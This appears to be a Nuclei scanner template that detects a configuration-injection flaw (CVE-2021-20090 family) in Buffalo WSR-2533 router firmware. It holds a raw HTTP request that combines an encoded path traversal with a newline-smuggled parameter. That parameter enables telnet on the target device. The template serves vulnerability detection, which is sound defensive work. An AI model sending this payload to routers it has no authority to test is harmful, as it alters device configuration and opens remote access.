nuclei-templates/vulnerabilities/other/buffalo-config-injection.yaml

34 lines
1.3 KiB
YAML

id: buffalo-config-injection
info:
name: Buffalo WSR-2533DHPL2 - Configuration File Injection
author: gy741
severity: critical
description: |
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
reference:
- https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
tags: buffalo,firmware,iot
requests:
- raw:
- |
POST /images/..%2fapply_abstract.cgi HTTP/1.1
Host: {{Hostname}}
Connection: close
action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0A
ARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/Success.htm"
- type: status
status:
- 302